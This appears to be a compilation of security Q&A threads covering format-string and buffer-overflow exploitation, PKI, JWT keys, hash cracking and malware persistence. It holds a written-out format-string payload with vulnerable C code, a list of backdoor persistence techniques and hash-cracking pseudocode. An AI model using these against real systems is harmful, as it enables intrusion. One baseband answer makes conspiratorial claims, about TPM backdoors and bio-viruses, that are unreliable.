Format string exploit length I'm new to Software security and I'm studying it now at the university.
I had some doubts about the Format String exploit, in particular how to count the length (in number of bytes) of a format string exploit.
Suppose that I have the following vulnerable code:
04 int guess(char *user) {
05     struct {
06          int n;
08          char usr[16];
09          char buf[16];
10      } s;
11
12      snprintf (s.usr, 16, "%s", user);
13
14      do {
15          scanf ("%s", s.buf);
16          if ( strncmp (s.buf, "DEBUG", 5) == 0) {
17              scanf ("%d", &s.n);
18              for ( int i = 0; i < s.n; i++) {
19                  printf ("%x", s.buf[i]);
20              }
21          } else {
22              if ( strncmp (s.buf, "pass", 4) == 0 && s.usr[0] == '_') {
23                  return 1;
24          } else {
25              printf ("Sorry User: ");
26              printf (s.usr);
27              printf ("\nThe secret is wrong! \n");
28              abort ();
29          }
30          }
31      } while ( strncmp (s.buf, "DEBUG", 5) == 0);
32  }
33
34 int main(int argc, char** argv) {
35      guess(argv[1]);
36 }

And the code is compiled in an IA-32 architecture (32 bit) with cdecl calling convention and there's no attack mitigation implemented (no stack canary, no ALSR etc..., I'm in a complete vulnerable machine)
At line 26 there's a format string vulnerability since the placeholder is missing ( printf (s.usr); ).
I'd like to overwrite the EIP with the address of an environmental variable that contains my shellcode.
I'm supposing (this is a theoretical exercise, I'm aware that in practice there are many other implications) that the address of my environmental variable is 0x44674234, the address of the EIP is 0x42414515 and the displacement on the stack of my format string is 7.
So my format string exploit will be \x15\x45\x41\x42\x17\x45\x41\x42%16940c%7$hn%563c%8$hn, I'll place it into user and then it will be copied into s.usr and executed by printf (s.usr);
Now what I noticed is that only 16 characters are copied into s.usr from user.
Is my format string not exploitable? I counted 30 characters in my exploit, therefore the strcpy will copy only half of my exploit.
Is the number of characters I counted correct? How should I count them?

snprintf (s.usr, 16, "%s", user); copies at most 15 bytes from user to s.usr, and appends a null byte. So printf (s.usr) only has a format string of 15 bytes at most.
Even if line 12 copied more, the subsequent scanf ("%s", s.buf); would overwrite at least byte 16. If you control the program's standard input, you can plant things on the stack, but they won't be part of the format string at line 26 since s.usr is guaranteed to be null-terminated. Of course, if you control the input, you can directly overwrite the stack through it as long as you don't need a null byte.
If you only control user, I'm pretty sure that's enough for an exploit. You could pad your shellcode so as to only have to write the higher bytes of the target address. Then you'd only need a single %c and a single %hn.


Resign root CA as SUB? Imagine I have a Microsoft root offline ca running since half year, but suddenly I want to include it in my company hierarchy, resigning it with the company official root, But I need both continue running normally, issuing their own crls and all that staff.

I am able to recover private keys from the hsm and move them to the other security world.

Is that even possible? What would be the best way to act considering my case?

Thank you!

Resigning the root CA as a subordinate CA is indeed possible.

Theoretically you don't even need cooperation of the "offline root" and its private key. The new über-CA just emits a new certificate containing the ex-root's public key and name, and that's it; this information is public anyway (they are in the ex-root's certificate, which is public). However, in practice, the über-CA may prefer it if it receives a certificate request signed by the ex-root itself, thus using its private key.

Normally, you should be able to make such a request file with certreq.exe (which should already be present on your machine). Use certreq -new with a policy file which contains the KeyContainer and ProviderName properties to point at your existing ex-root's private key. be sure to specify the exact same subject DN as the one used in the current ex-root's certificate: the condition for the new ex-root certificate to be acceptable as a substitute for the current one is that it uses the exact same DN and public key.

Once you have the certificate request, transport it to the über-CA, submit it, and use your administrative powers to authorize the issuing. This assumes that the über-CA accepts to produce sub-CA certificates, so you may have to edit and/or enable the relevant certificate template in that CA.

Once this is done, the new certificate exists, and clients may use it to validate certificates issued by the ex-root even if they trust only the über-CA. However, this works only if the said clients see the new sub-CA certificate. You can push it forcibly in the "intermediate CA" store on client machines. Alternatively, you may want to put it on a Web site referenced from the issued (end-entity) certificates themselves.

Indeed, any given certificate usually contains an Authority Information Access standard extension which includes an URL pointing to a place from which the issuing CA's certificate can be obtained. This is the basis for path building when the relevant intermediate CA certificates are not readily available. Chances are that your ex-root currently issues certificates with, as AIA, an URL pointing to its own self-signed certificate (on a Web site, in some LDAP server...). If you want clients to automatically obtain the new sub-CA certificate issued for the ex-root, then it should be sufficient to replace the ex-root self-signed certificate (wherever it is stored) with the new sub-CA certificate.

Note that the ex-root must still keep on with issuing CRL as per its policy.


Is it true that smartphones could get compromised via their baseband chip? I read about this here.

If I understand this correctly, it states that a smartphones could get compromised via it's baseband chip and it's (potentially) unsafe and closed-source firmware.

I also read this discussion about the mentioned article.

But as I have no deep understanding of the low-level hardware used inside smartphones (or the security implications of different connection types between the GSM chip and other components, I do not really know what to believe.

torproject.org's article "Mission Improbable: Hardening Android for Security And Privacy" states:

  Until phones with auditable baseband isolation are available (the Neo900 looks like a promising candidate), the baseband remains a problem on all of these phones. It is unknown if vulnerabilities or backdoors in the baseband can turn on the mic, make silent calls, or access device memory

How realistic is an attack scenario like this when thinking of an adversary capable of compromising the radio link (given a perfectly safe operating system on the smartphone)?

It is very realistic (Replicant developers find and close Samsung Galaxy backdoor), but most of the time they do not need to use it, because preinstalled spywares already work very well (26 Top Smartphone Models Come With Pre-installed Spyware), and they usually have several fake radio towers to see all your verification and activation SMS.

You have nowhere to run or hide, computers are also not better (Lenovo Superfish several times, HP Audio driver and Support Assistant).
Even if you wipe the HDD, the motherboard contains a cryptoprocessor with a unique key owned by Microsoft or other US authority, which gives them limitless control over the machine (there was no known example for this, only for undisclosed security holes, see the WannaCry worm).
Even if you manage to tame the TPM, its hackable, and there are methods to infect air-gapped machines too without physical access to them.
To expand it into the realm of nightmare, there is already a DNA transferable, bio-reproductive virus code, robotic insects and miniature tracking chips.

So the only solution is open source hardware with open source firmware and open OS — which does not exist yet in great numbers, and we hope, it won't be forbidden, but its not unrealistic either, since the main idea is that the average citizen should always have a backdoor — to protect them.

Until fully transparent hard and software there is choice between illusion of privacy, and self-censorship, except if you are a lucky and clever criminal.

(I am not allowed to link much, you need to search up the copied terms.
Also I do not recommend to worry too much about these things, it can make you sick, but rather keep learning and effectively protecting yourself. Full security does'nt exist. You're welcome. If it is not a good answer, let me know.)


CVE-2018-10933 - Bypass SSH Authentication - libssh vulnerability Looks like CVE-2018-10933 was just released today and you can find a summary here from libssh here

Summary:

  libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect to initiate authentication, the attacker could successfully authentciate without any credentials.

I am trying to understand this more and its range of impact. Do operating systems like Debian, Ubuntu rely on libssh for SSH and if they do does that mean every server exposing SSH is vulnerable to this attack? Also, does OpenSSH rely on libssh or are they two separate implementations? I tried looking for OpenSSH vs libssh but couldn't find what I was looking for. This vulnerability sounds like the worst case scenario for SSH so I am just surprised it hasn't been making headlines or blowing up. The summary of this vuln is vague so I'm looking for any insight into the range of impact and in what scenarios I should be worried.

...  does OpenSSH rely on libssh

OpenSSH (which is the standard SSH daemon on most systems) does not rely on libssh.

  I tried looking for openssh v.s. libssh ...

Actually, a search for openssh libssh gives me as first hit: OpenSSH/Development which includes for libssh the following statement :  "... libssh is an independent project ..."

Also, if OpenSSH would be affected you can sure that you would find such information at the official site for OpenSSH, which has explicitly a page about OpenSSH Security.

  Do Operating Systems like Debian, Ubunutu rely on libssh for SSH  ...

See the official documentation of libssh on who is using it (at least): KDE, GitHub...

You can also check which available or installed packages on your own OS depend on libssh. e.g. for Debian and similar (e.g. Ubuntu) this would be apt rdepends libssh-4 or apt rdepends --installed libssh-4.

Note that the use of libssh does not necessarily mean that the product is automatically vulnerable. First, the problem seems to be only relevant when using libssh for SSH server not client. And even in the server role it is not necessarily affected, for example Github seems to be not affected even though they use libssh in the server role.


How would a backdoor gain persistence I know that if you were to gain access to a system and restart it, an implanted backdoor would be killed. Or if you were to locate the backdoor in task manager you would be able to kill it. However, I'm interested to know other than adding to the windows registry and startup folder how else could a backdoor gain persistence?

You just need a way of reliably starting the process after the machine has booted.

This can range from -

asking Windows or another process to start it on boot (service, startup application etc)
Replacing or patching an executable or library known to be called at or soon after boot. This can include drivers.
Hijacking a common user action - for example modifying Google Chrome shortcuts to launch your own process (which in turn starts the original application to stop the user realizing).
Replace / patch bios / firmware running on a hardware device.
Use a bootkit / hypervisor to start your code before the operating system.
Physical hardware based attack - something like a malicious RAM module that injects code.

You can also do things like modify the firewall and service settings to allow reinfection remotely.


How does an attacker know when he has the password? An attacker gets a list of hashed passwords. How does he know when he has cracked the password(s)? He can't try millions of times on the comprised account.

Attacker gets hashed password. How does he know that "pAssword" is the correct password and not "passwoRd"?

EDIT:

I'm so missing something basic. Let me make certain I understand it:

The DBA takes my great password (pa$$word) and hashes it.
Attacker gets list of passwords.
Attacker tries "password." It gets hashed. He sees that hash-of-password does not equal my password.
3a. He tries hash-of-pa$$word. It gets hashed and he sees that the two are equal. Therefore he cracked my password.
After a while (x amount of time) he has cracked (say) 90% of the passwords and then stops because of diminishing returns. (Unless he really wants MY password.)

Yes, your steps appear to be correct. The attacker hashes lots of words or sequences of characters until she finds one which matches the target hash.

Pseudocode:

hashlist = [ "a235b8320c...", "688b4302c57f3...", ... ]
wordlist = file.readlines("/path/to/wordlist")
for each word in wordlist:
    h = hash(word)
    # is the hash of this word in the list of target hashes?
    if h in hashlist:
        print "Found: " + h + " = " + word

As muchaho requested, here's some pseudocode for how it'd work with unique salts:

hashlist = [ "salt1:a235b8320c...", "salt2:688b4302c57f3...", ... ]
wordlist = file.readlines("/path/to/wordlist")
for each h in hashlist:
    salt = split(h, ':')[0]
    h = split(h, ':')[1]
    for each word in wordlist:
        if hash(salt + word) == h:
            print "Found: " + salt + ":" + hash + " = " + word

Notice that, after adding a unique salt to each hash, we have to try each individual candidate word for each target hash, rather than just hashing all words and waiting for one to match a hash. This increases the bruteforce cost when you've got multiple hashes to crack, but most importantly prevents precomputation attacks such as rainbow tables.


Possible trojan/virus in memory? I've extracted objects (JPEGs) from processes` memory dumps (obtained with memdump command from volatility framework) and got strange results after searching the memory pages of the main thread of chrome browser. Some extracted images are very small (212x132 pixels) print-screens of the chrome window, and seem to be taken at random moments, on different sites.

Is it possible to have a trojan that tries to capture browser images, maybe searching for un-sniffable fields (like the ones filled with a virtual keyboard at bank logins)?
If so, why are those print-screens in chrome's memory pages?
Is there an explanation for a legit purpose?

Don't have Chrome on this computer, but doesn't it have a new tab behavior that includes clickable thumbnails for sites you have recently visited?  If it does I would think those may be the images for that feature.


PCI restrictions on using using (hashed) credit card number to identify a repeat customer? Question for any PCI experts out there:

Airport ticket kiosks can use your credit card to find your reservation at checkin time. So clearly PCI must allow use of credit card numbers to identify customers. I assume the airline is storing an irreversible hash of my credit card number with my reservation, and when I visit the checkin kiosk they hash my card again and use the hashed value to look up my reservation.

But when I go to a supermarket or drugstore and want to get discounts from their loyalty program, I need to swipe a special card that the store gave me (or enter in my phone number).

Using my credit card to identify me would be easier for me and for the merchant, so I'm surprised that retail merchants don't seem to offer this capability. This led me to wonder whether there's a PCI or legal restriction at work here.

Is there a PCI or legal restriction which prevents stores from using my credit card number to identify me for loyalty-program purposes, but which does not prevent airlines from doing the same thing at checkin kiosks?

Merchants can use your card data to review or act on transactions. This includes processing returns, calling up your boarding pass, etc. They can't use it to identify you, only your previous transactions. I'm not sure if that's a law somewhere or because of merchant agreements.

Once your purchase is fully settled, the card data does need to be expunged from the record. This can get to be a little different when you save your card data to an account for convenience. Even in that instance, if you should change cards the older card data would need to be removed.

I highly doubt anybody does one-way hashing of cards, and it'd be relatively useless. Given that there are 16 numbers, the card must match a check code, and the first numbers can be determined from a limited list, one can quickly build a database of all possible hashes. I imagine data is stored and transmitted in an encrypted manner. If I were doing a review, I would consider one-way hashes of cards to be the same as storing a card number in plaintext.


Generate API keys with JWT and regenerate the same key when needed I recently found my self in need of developing a public API for my application. I developed my application with node.js and MongoDB. After some research, I decided to use jwt for generating API keys for users and authentication. For authenticating jwt tokens, they come with the benefit of not needing to store them in a database, as they can be decoded and verified without knowing the exact generated token.

But I see that lots of applications show the users their API keys in the application dashboard, so I need to store the token to show them to the users later on. I know that storing tokens is a bad idea and in case of a database breach, it could let the hackers impersonate others with the API keys.

So long story short I am trying to find a way to not to store the exact tokens, but store only the payload in the database and every time users request their API keys I just generate the same one with a SECRET and pass it to them. I currently find that if on the signing token step, I pass the same payload with the same iat (issued at) every time, the generated token will be the same every time. So by saving the iat with the payload data in the database, I can generate the exact token every time.

Now my questions are:

Does this approach is good or is there a better way to achieve this?
Is there any good practice for generating API keys without storing them?
Does this even necessary (considering if there ever be any database beach, all of the data is already stolen)?
Is there any method other than using jwt to achieve this?

tl/dr: A JWT is simply not the correct solution for a server-to-server
API token/key.  API keys need to be revokable in the case the user
needs to change it (for whatever reason), and JWTs by their nature
cannot be revoked.  You need a completely different solution for
server-to-server authentication.

I'm going to answer with a frame-challenge.
You are actually talking about two completely different kinds of authorization tokens with two different purposes.  You don't want to figure out how to regenerate the JWT and show it on the user dashboard because a JWT is not what you want on the user dashboard anyway.
Understanding JWTs and their use cases
JWT's have two properties that distinguish them from the other kind of access token that we'll talk about: they can't be revoked and they are typically short-lived (which is a necessary consequence of them being non-revokable).
The fact that they can't be revoked is a natural consequence of the fact that you can verify them without checking the database.  Everything you need to check the JWT is built into the JWT, and the only way they could be revoked is if you marked them as such in a database and checked the database everytime you verified the JWT (which would defeat its purpose).  Therefore, since they are effectively irrevokable, it is best for them to have short life-times to minimize the damage done in the event that an attacker steals one.  As a result JWTs typically also come with a refresh token, which is longer-lived and which the user can use to generate a new JWT when the first one expires.
This combination of properties gives JWTs a particular use-case: authenticating a user who first logs in with a username and password.  The idea is that when the user logs in the application gives them a JWT and refresh token, which the app then uses to keep the user logged in for as long as they need (aka the phone app or website use the refresh token to automatically get a new JWT as needed, and send up the latest JWT with all requests).
Note, if your JWTs don't have a short lifetime, or don't expire at all, then you are leaving a potentially severe security vulnerability in your system, since an attacker who gets one effectively gains permanent access to the account even if a password is reset.  Since JWTs go to the actual client (aka a mobile app or a web application), they are much more vulnerable to theft by outside actors, which is why short lifetimes are necessary.
API access tokens
Of course there are a wide variety of ways to manage access tokens for APIs, but you mentioned systems which show the API token on the dashboard.  These typically have a different set of properties.  In particular, they are long-lived and revokable.  They are long-lived because they will be used for server-to-server communication.  This means that they are often sitting in a configuration file (or similar) and so you don't want to force your end users to manage the refresh process themselves or update the token without good reason.
As a result, revokability is very important.  If the user decides they want a new access token (for whatever reason), they need to have an easy way to generate a new one.  In more advanced systems they also come with their own privilege system, and the admin can generate as many access tokens as needed and assign privileges to them.  This gives the users the tools they need to manage the security of their own accounts.
Bringing it all together
In summary, these things are two different kinds of access codes for two completely different reasons.  A JWT is a short-lived access code because it goes down to an end-client where it is at higher risk of being stolen.  A new one is assigned everytime the user logs in, expires shortly thereafter, and is automatically refreshed by the client.
A server-to-server API token is long-lived and only stops working when explicitly revoked by the customer.  They can copy it into the configuration information of their server and only change it if necessary.  It never expires and doesn't have to be refreshed.
These are two completely separate authentication needs - the way you authenticate a front-end client is not the same way you authenticate server-to-server communication, because the two communication channels have different security needs.  You're trying to fulfill both needs with one "kind" of authentication, and the reality is that trying to adjust your JWTs to work for server-to-server authentication as well is just a bad idea.  If your user's need to interact with your system in two different ways, then you need to provide two different kinds of authentication.  In particular, it sounds like you're not planning on allowing your JWT tokens to expire (so that they can be used for server-to-server authentication), and that's a very bad idea.
The solution
So how should you generate the API keys for the user?  That just depends on your needs, but since I don't know what those are I'll give you a suggestion that may be overkill in some cases, but sufficient in all cases.
The most secure solution is to allow the end-user to have multiple keys.  When they request a new key generate a public/private key pair, let the user download the private key, and then throw away the private key on the server side.  It is from then on the user's responsibility to use/store/copy it as needed.  The server keeps the public key and requests are signed and verified using standard asymmetric cryptography methods.  This also allows the user to generate multiple keys if needed, potentially with different access levels.
There are of course simpler ways to do things, but I would say that it's a bit out of scope to try to choose the "best" authentication method for you.  Everyone has different needs and needs to balance security/usability/cost for themselves.


Server Security Through Constant Check-ins I've built a system and have put a ton of work into making sure is super secure.  But I have a (potentially irrational) fear that if someone were able to break into my server, they could just change the PHP code I've written and it'd be game over.  No feature I could build could withstand someone with access to the server.

I do all the right things as far as picking good passwords for my server access, not saving them anywhere, etc...  But I got to believe from the constant stream of news reports about mega-companies getting hacked that no matter what I do, there's still going to be some vulnerability somewhere that an experienced hacker can use to get into my system.

So what do you think of this plan?

Create a file titled something nondescript (we'll say secretFile.php for this example) and bury the file somewhere on the server.
Make that file simply return an md5 hash of the directory where all my code is.
Sign up for a second, completely separate host, and set up a cron job (cron.php) to call www.mySite.com/secretFile.php every X minutes
cron.php records the results of secretFile.php
If there's a change from the last time it checked in, send me a notification, trigger a kill switch, call 911, whatever...

I realize this plan could be foiled if someone were to also break into my secondary server, or if they knew about secretFile.php on my primary server.  But in the name of "every bit of security helps", do you feel like this bit of security would actually help?

(Also, I know there are certain extensions that can be installed on my primary server that listen for file changes.  But if someone has access to my primary server, I figure they could also just disable that extension too.)

As you mentioned if someone manages to get root access to your server its game over.
The best practices to keep your server safe are:

Strong password policy
Keep it patched all the time
Enforce additional safety mechanisms on the server such as SELinux, AppArmor etc... (assuming this is a linux server?) there is a good list of these on ubuntu's site
Don't install untrusted software and keep the software on the server to the bare minimum
Don't browse the web from the server
Limit remote connections to bare minimum (RDP, VNC, SSH etc...) better allow only local access
Have proper users and group permissions on your server and have everything run in the  least privileged mode needed

The solution you suggested will not defend you server from being breached - it will just mitigate the risk after your security mechanisms have been breached already. This is already a bad enough situation which could lead to harm of losing data and lots of recovery efforts. The idea is to invest in protecting from being breached in the first place. (additionally as you mentioned - your solution is easily bypassed by a serious attacker which will alternate your php code)


Limit BitTorrent Sync connections to a specific network Is it possible to limit BitTorrent Sync connections to a a specific network using the client software? Right now the closest I can come up with would be IP limitations imposed on each client using a firewall. This seems like it would work fine, except for if any client somehow ventures outside those firewall restrictions.

If you are using Linux, iptables has a match called "owner" where you can apply certain rules based off the UID or GID of the process sending the data.

For instance:

Put the IP's or CIDR network addresses in a file (one entry per line)
Create a new user called btsync
Run the following:

#/bin/bash

RESTRICTED_IP_FILE="/some/file"

sudo iptables -N btsync_filter
sudo iptables -I OUTPUT -m owner --uid-owner btsync -j btsync_filter

while read ip; do
    [[ -n "$ip" ]] && sudo iptables -A btsync_filter -d $ip -j DROP
done < $RESTRICTED_IP_FILE

sudo -u btsync btsync

This will run btsync as the user btsync and all packets from that process that are going to a restricted IP will be dropped.


What are TLS Cipher Suites with ephemeral key Exchange and NULL encryption for I wonder about the benefits of the following ciphers:

TLS_ECDHE_PSK_WITH_NULL_SHA256
TLS_ECDHE_ECDSA_WITH_NULL_SHA

Why should I go for perfect forward secrecy if I don't want to encrypt in the first place? I just want to go for Authenticity/Integrity..

Why are those ciphers even listed in the registry? Is it for the sake of completeness or am I overlooking important use cases?

The NULL encryption was introduced after RFC 4785 which was introduced support for different import restrictions among other things:

Quoting the RFC:

  There are also cases when confidentiality is not permitted -
     e.g., for implementations that must meet import restrictions in some
     countries.  Even though no encryption is used, these ciphersuites
     support authentication of the client and server to each other, and
     message integrity.

Reference: https://tools.ietf.org/html/rfc4785

  The ciphersuites defined in this document are intended for a rather
     limited set of applications, usually involving only a very small
     number of clients and servers.  Even in such environments, other
     alternatives may be more appropriate.


OWASP + Atomic ModSecurity Rulesets - Too much? Looking to implement some additional mod_sec rulesets on our server. OWASP and Atomic keep coming up as the best of the best. Would it be wise to implement both? Or, would one or the other be sufficient for PCI compliance?

Do not implement both. Is useless. Using the both rule sets is a waste of CPU and memory, because both of them are overlapping.

PCI Compliance require a WAF in some cases, but doesn't specify exactly the functionality. Almost all auditors will look to see if the WAF is protecting you from SQLi, XSS etc. which, in this case, any of the rule sets will do this job.


In the context of FIDO U2F, when is a new ephemeral key reused, or cached? I'm reading this paper from Yubico on Universal Second Factor
and OpenID Connect  and see the description about ephemeral keys

I'm confused on when a ephemeral key is used, and under what conditions they are cached.

From the Yubico document.

Page 7:

  U2F does have a trust chain similar to the certificate authorities found in traditional PKI, but this
  is not tied directly to the key pairs issued by the U2F device. Instead, this trust chain is tied the
  device’s identifier certificates. These device certificates are used alongside the ephemeral keys
  to identify the device itself (or a batch of devices), allowing knowledgeable RPs to make
  informed decisions about which device manufacturers they are willing to accept.

Page 9

  Why would such caching systems be widely used when they clearly subvert a fundamental
  aspect of the security components? A system that constantly prompts a user for the same PIN
  again and again is likely to be ignored or rejected by users annoyed at the constant prompting.
  The use of a credential cache is often considered a reasonable tradeoff. However, the U2F
  design avoids having to make this tradeoff decision in the first place by explicitly declaring that
  the ephemeral keys are used to identify the device alone.

First a quick FIDO U2F Cheat Sheet here (because it is easy to get lost...)
www.neowave.fr/pdfs/FIDO-U2F-CHEAT-SHEET.pdf

Regarding Page 7:

FIDO U2F stored identities are based on public and private keys (asymmetric cryptography), each website service account makes the FIDO U2F device (it can be FIDO U2F USB Security Keys, FIDO U2F NFC Cards and FIDO U2F BLE Devices soon) generating its own key pairs. This is not like a standard PKI smart card solution where most of the time there is a shared user identity certificate. But... each just after being generated on the FIDO U2F device, each public key is digitally signed by a "production private key" inside the FIDO U2F device before being sent back to the server. The FIDO U2F provides a "production public key" inside a "attestation certificate" attached to the public key and public key signature. This "attestation certificate" and associated production public key may be the same on several devices from a same production batch ("batch of devices") and info inside this certificate is signed by the "Manufacturer Private Key"... and if you make products that are certified by the FIDO Alliance, you can (not mandatory) even register the "Manufacturer Public Key" on the official metadata service here: fidoalliance.org/mds/ where info is signed by the Fido Alliance private key (root cert here: mds.fidoalliance.org/Root.cer)

So.. as you see, even if "user keys" are anonymous and isolated/different (ephemeral keys) for each server/services, there is still a kind of chain of Trust you can find and use. (Note: for many reasons, most of services are not verifying this chain for now)

Regarding Page 9:

This is a note about standard PKI devices (smart card protected by PIN) not about FIDO U2F. Since asking for a PIN for each action with standard smart card PKI based solution may be tedious, this PIN entry is sometimes "cached" to simplify user interactions and this may break part of the solution security. This is a way to explain the FIDO U2F user experience choice: using name and password THEN FiDO U2F device as a secure second factor (without PIN protection).


Are call stack addresses predictable with all protections disabled? I'm currently practicing buffer overflows, but there is one thing I don't understand yet. I have read this similar question. I understand that if you don't know the address of ESP you must look for an address that executes JMP ESP to jump to the injected shellcode.
But do you really don't know the address of ESP? You do know the address of EIP, because you detected the point where EIP is overwritten or do you only know the offset of the EIP from your injected buffer? If so, then even no address is known to an attacker (ESP included ofcourse) and the attacker has to work with offsets only?
The picture below I've made shows the position right when the program has popped the return address.

Can't you just do any of these actions:

Inject JMP ESP directly into the address of EIP, why do you need to find an address that performs this call?
Add +4 to the return address as the shellcode comes right after the return address

I've read that the return address must point to another address that does JMP ESP is necessary, because of ASLR and a possible different depth of the call stack. I don't understand what is meant with the latter, does somebody have an example? Isn't the shellcode always right after the overwritten EIP?
And if ASLR is not enabled, do you then still have to find an address with JMP ESP?
EDIT:
My main question is: Why does the state of the stack at a moment in time influence the stack pointer? I've read that this makes it hard for the attacker to predict the stack addresses. But if you have a program that you start up again and again, then the same amount of variables and procedures are executed, so the stack size always will be the same.
After some talking with a colleague, he thinks they mean with that the situation of a Apache Webserver that handles requests and responses and performs a lot of actions. When you fire your buffer overflow exploit you don't know where in the execution the stack is. This opposed to having a program on your own pc that you can start over in the same manner again and again. Is this assumption correctly?
With all protections disabled; can you know the location of the stack in memory? Is the bottom of the stack a fixed address?
All the examples of exercises made me confusing, because that is not the real-world scenario. In the debugger you CAN see the stack addresses being modified, but you can't when remotely exploiting a buffer overflow. That's the reason why I thought you know the EIP and ESP address while exploiting, but that is only when you are using a debugger.

[why can't you] inject JMP ESP directly into the address of EIP, why do you need to
find an address that performs this call?

First of all, EIP is a register in x86. It itself does not have an address pointing to it. What you mean to say is more along the lines of "the value on the stack that will be popped into EIP at time of return". This is important, because you can't just "inject" or put instructions into EIP; it only holds a 4-byte address pointing to the memory address of the instruction to be executed. If you tried to put the opcodes directly in EIP, you'd get a segfault since invalid memory would be accessed.
You might need the jmp ESP or a similar gadget in this case in order to redirect execution to an address you cannot (easily) guess, assuming ASLR is enabled.

[why can't you] add +4 to the return address as the shellcode comes right after the
return address

If PIE is disabled (which is a fair assumption for an old fashioned exploit like this), then you are able to know the addresses of all the program's instructions. So you know where the program normally returns, but you don't know the stack address where that value is stored. So no, you can't add 4 to an address you don't know unless you are able to leak it somehow.

Isn't the shellcode always right after the overwritten EIP?

Not necessarily, it depends what is on the stack, or the shellcode could end up in the heap depending how the program is written. Technically, it would be before since it would be lower addresses.

And if ASLR is not enabled, do you then still have to find an address
with JMP ESP?

No, if there is no ASLR or you are able to leak/guess/bruteforce where the stack is, you can use that address directly such that it ends up in EIP.
As far as call stack depth goes, maybe I'm not understanding the question, but I can't think of any impacts from that.


How should I secure my site for logins? I am making my very first site, and I need a way, to secure it.

Users must be able to post stuff on my site, but I want to prevent throttling my site or using bots to break it. I thought of making sign up/in system, but it's vulnerable to all kinds of attacks without SSL certificate, and it would cause users big trouble.

I just can't afford SSL certificate, I generally have $0 to spend to get one.

What should I do in this case?

There is little you can do without SSL. Get a free cert from StartSSL and then come back with more specific questions.


Having trouble with FindBugs exclude filter I installed FindBugs plugin in Eclipse for Source Code Analysis with FindSecurityBugs plugin to find out security issues with the code. I want to filter out certain false positives and want to exclude them in generated reports. The exclude filter is working fine from FindBugs preferences in the Eclipse GUI but from the command line it's giving below error. I am using the Eclipse project settings preference file only as input to the command line.

Done with analysis
The following errors occurred during analysis:
  Unable to read filter: filter-ECB.xml : filter-ECB.xml (No such file or directory)
    java.io.FileNotFoundException: filter-ECB.xml (No such file or directory)
      At java.io.FileInputStream.open(Native Method)
      At java.io.FileInputStream.<init>(FileInputStream.java:146)
      At edu.umd.cs.findbugs.filter.Filter.parse(Filter.java:206)
      At edu.umd.cs.findbugs.filter.Filter.<init>(Filter.java:132)
      At edu.umd.cs.findbugs.FindBugs.configureFilter(FindBugs.java:516)
      At edu.umd.cs.findbugs.FindBugs2.addFilter(FindBugs2.java:374)
      At edu.umd.cs.findbugs.FindBugs2.configureFilters(FindBugs2.java:521)
      At edu.umd.cs.findbugs.FindBugs2.setUserPreferences(FindBugs2.java:475)
      At edu.umd.cs.findbugs.TextUICommandLine.configureEngine(TextUICommandLine.java:685)
      At edu.umd.cs.findbugs.FindBugs.processCommandLine(FindBugs.java:361)
      At edu.umd.cs.findbugs.FindBugs2.main(FindBugs2.java:1188)

The problem I found out was with the filename of xml file provided as filter. After changing the name of filter from "filter-ECB.xml" to "filterECB.xml", the scan completed without any error from command line with -textui parameter.


OSX Yosemite and Security/Privacy I currently have a Macbook Pro running OSX Mavericks, being the skeptic that I am I always wait a bit before upgrading to 'new' OS versions when they are released to see how they fare both stability and usability wise.

A number of privacy issues have been found in OSX Yosemite including but maybe not limited to:

Spotlight: Searches will be sent to apple servers to 'improve' search functionality.

While probably true this also creates a huge privacy leak that I am
not fond of since it could also send apple searches I make when I
look for files on my own system. ex: supersensetivefile.pdf

This can be disabled under System Preferences > Spotlight > Search Results.
Safari: Safari also has a spotlight suggestions option which sends your searches to Apple. This makes the usage of privacy search
engines like duckduck go etc virtually useless.

This can again be disabled under preferences.
Mail: probably one of the strangest ones yest, if you set up an account through the mail app, the domain will be  sent to Apple for some reason.

Only workaround is to not use the app at all but use an opensource mail client that you feel like you can trust. (In my case I am already using thunderbird)
About this mac and cookies: When you open about this mac, data and a cookie is sent to Apple that is used to uniquely identify users. This cookie tracks the IP address that you initially visited Apple.com from, as well as the IP addresses from all subsequent connections to Apple through Spotlight or Safari.

There currently appears to be no way to disable this at all. The data is sent to Apple even if you have location tracking turned off, and have not signed into iCloud.

Personally I feel like these features are cause for serious concern as to the integrity of the OS privacy wise(in synonym this could also mean security for some) However I feel like I can't keep using Mavericks forever either since eventually the risk of security leaks being found in the outdated OS increase.

My question is basically twofold:

1) Is there any way to avoid these security/privacy risks while still using the new Yosemite OS? If not, has there been any word from Apple as to whether or not they will curb back on this invasive functionality anytime soon?
 (I have not been able to find any news about it myself)

2) From a security/privacy point of view, could it ever be considered safe to use Yosemite while these features are around?

(If there are any concerns I might have missed then feel free to add)

Using a system-wide proxy would give Apple an alternate (and possibly changing) IP address, but would not address the cookies. I have noticed that Safari will register cookies from other system services, iTunes being a likely suspect.

To address cookies and data sent to Apple, it would take a bit of work, but you could determine where cookies are placed and aggressively manage them. You could also use an application firewall like Little Snitch to block outgoing packets to offending Apple subdomains.

On the whole though, you need to articulate your threat model: what is it, exactly, that you are concerned about? What are your priorities for various threats? How much effort/inconvenience are you willing to incur to avoid these threats?

One thing to note is that Apple does not have pervasive trackers scattered around the internet like Google and others. So even if they know your IP address, there is relatively little risk in Apple correlating other internet activities with your use of core Apple services. If you really don't want Apple to know anything about you, you'll have to skip using an AppleID and don't use any system services that depend on the internet, even down to NTP which pings Apple servers. But if you trust Apple this little, you probably should avoid their products.


Can the OWASP ZAP check XSS for REST API? I have a web application and I used OWASP ZAP for checking XSS.
I tried two cases as example bellow:

URL: localhost:8888/test/login

Öogin page HTML:

<!DOCTYPE html>

<meta charset="US-ASCII">
<title>Login Page</title>

Login with email and password

<form id="testForm" action="login" method="post">
User Email:<input type="text" name="email" id="email">

Password:<input type="pass" name="pass" id="pass">

<input type="submit" value="Login" id="subForm">

<%=request.getAttribute("email")%>

</form>

If you are new user, please register.

Case 1: Application return HTML (HTML response)

Start ZAP
Submit login form
Choose Active scan XSS for this URL: localhost:8888/test/login

Result: ZAP found 1 XSS alert script

Case 2: Application return JSON (REST API)

URL: localhost:8888/api/login

Request JSON data format: {"email":"abc", "pass": "123456"}

Response JSON data format: {"email":"abc", "pass": "123456"}

Using Ajax to call API with JSON request

Start ZAP
Click button summit (call sendAjax function to send request data)
Choose Active scan XSS for this URL: localhost:8888/api/login

Result: Nothing found

What exactly I want to known is that: ZAP can check for XSS in rest API or not?
If it can't then how can I check for XSS in this API (case 2)?

Purefan already answered your question in the comments, but this it a little expanded.

